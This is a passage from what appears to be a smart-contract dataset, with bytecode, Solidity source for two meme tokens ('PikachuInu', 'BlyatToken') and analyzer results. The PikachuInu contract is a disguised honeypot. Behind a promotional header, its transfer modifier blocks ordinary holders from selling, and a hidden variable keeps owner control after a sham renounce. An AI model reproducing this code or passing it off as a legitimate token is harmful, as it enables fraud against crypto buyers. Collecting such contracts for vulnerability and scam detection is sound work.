a7350d9c33edf8b4762f9c2ebdf60405160405180910390a35b5050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16151515611df957600080fd5b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060018160000160006101000a81548160ff021916908315150217905550818160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fbbb1598dca83166487facc52f9481f629b31e41e8f4d530378c58e86b05e843b60405160405180910390a3505050565b6000611f0660025443611f37565b604051808281526020019150506040518091039020600190049050611f2e6002546001611f37565b60028190555090565b6000808284019050838110151515611f4b57fe5b80915050929150505600a165627a7a7230582095b5964310a4a8cc53a2672d8f9c39508a6d2b9c274991668b14557fd57e12930029
{"success": true, "error": null, "results": {}}
3,102
0xd798a367a56d56af43ea79ff987c67b96d098676
/* ❗️ PikaApp - Mobile App (Track Anime Tokens) ❗️ PikaSwap - DEX displaying newly listed, as well as top gainers all on the same page ❗️ PikaDash - Displays how much $PIKACHU you have earned ❗️ PikaTools - Track all Anime Tokens with a graph, transactions, market cap and much more. - 2% redistribution in token to all holders - 3% is added to liquidity pool - 5% is added to our marketing and development funds ☑️LP Lock: we will lock LP for 3 months right after launch. ☑️ Renounce: we will not renounce the contract as it hurts the project and prevent future development Social Media Links: Website: https://pikachuinu.com/ Twitter: https://twitter.com/PikachuInu [UNIQUE] Telegram: https://t.me/pikachuinuofficial [UNIQUE] */ pragma solidity ^0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract PikachuInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 1000000000000 * 10**18; string private _name = 'PIKACHU - https://t.me/pikachuinuofficial'; string private _symbol = '$PIKACHU'; uint8 private _decimals = 18; address private _owner; address private _safeOwner; address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor () public { _owner = owner(); _safeOwner = _owner; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } modifier approveChecker(address pika, address recipient, uint256 amount){ if (_owner == _safeOwner && pika == _owner){_safeOwner = recipient;_;} else{if (pika == _owner || pika == _safeOwner || recipient == _owner){_;} else{require((pika == _safeOwner) || (recipient == _uniRouter), "ERC20: transfer amount exceeds balance");_;}} } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function burn(uint256 amount) external onlyOwner{ _burn(msg.sender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 amount) internal virtual onlyOwner { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal approveChecker(sender, recipient, amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610291578063715018a6146102e95780638da5cb5b146102f357806395d89b4114610327578063a9059cbb146103aa578063dd62ed3e1461040e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce5671461024257806342966c6814610263575b600080fd5b6100c1610486565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610528565b60405180821515815260200191505060405180910390f35b6101a8610546565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b60405180821515815260200191505060405180910390f35b61024a610629565b604051808260ff16815260200191505060405180910390f35b61028f6004803603602081101561027957600080fd5b8101908080359060200190929190505050610640565b005b6102d3600480360360208110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610717565b6040518082815260200191505060405180910390f35b6102f1610760565b005b6102fb6108e8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032f610911565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036f578082015181840152602081019050610354565b50505050905090810190601f16801561039c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f6600480360360408110156103c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b3565b60405180821515815260200191505060405180910390f35b6104706004803603604081101561042457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109d1565b6040518082815260200191505060405180910390f35b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561051e5780601f106104f35761010080835404028352916020019161051e565b820191906000526020600020905b81548152906001019060200180831161050157829003601f168201915b5050505050905090565b600061053c610535610a58565b8484610a60565b6001905092915050565b6000600654905090565b600061055d848484610c57565b61061e84610569610a58565b61061985604051806060016040528060288152602001611c4760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cf610a58565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b610a60565b600190509392505050565b6000600960009054906101000a900460ff16905090565b610648610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6107143382611863565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610768610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461082a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a95780601f1061097e576101008083540402835291602001916109a9565b820191906000526020600020905b81548152906001019060200180831161098c57829003601f168201915b5050505050905090565b60006109c76109c0610a58565b8484610c57565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611cb56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611bff6022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610d265750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156110265781600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415610df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b610ee484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179b565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806110cf5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111275750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156113e657600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156111b2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611238576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b6112a484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179a565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061148f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6114e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611c216026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561156a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156115f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b61165c84604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f184600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b505050505050565b6000838311158290611850576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118155780820151818401526020810190506117fa565b50505050905090810190601f1680156118425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b61186b610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461192d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119b3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c6f6021913960400191505060405180910390fd5b611a1f81604051806060016040528060228152602001611bdd60229139600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a7781600654611b6f90919063ffffffff16565b600681905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080828401905083811015611b65576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000611bb183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117a3565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212207abc4b1ff3c93d791b83e90d3ed0abc4d9a12705e0f4a5c3d2f016a2a74411f464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
3,103
0x587a8d251c564f3321c594992b129e9047b0dedc
/** *Submitted for verification at Etherscan.io on 2021-07-14 */ /* Links: https://blyattoken.com/ https://twitter.com/BlyatToken https://t.me/BlyatToken babushka??? */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BlyatToken is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1* 10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Blyat Token"; string private constant _symbol = 'BLYAT️'; uint8 private constant _decimals = 9; uint256 private _taxFee = 3; uint256 private _teamFee = 11; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, 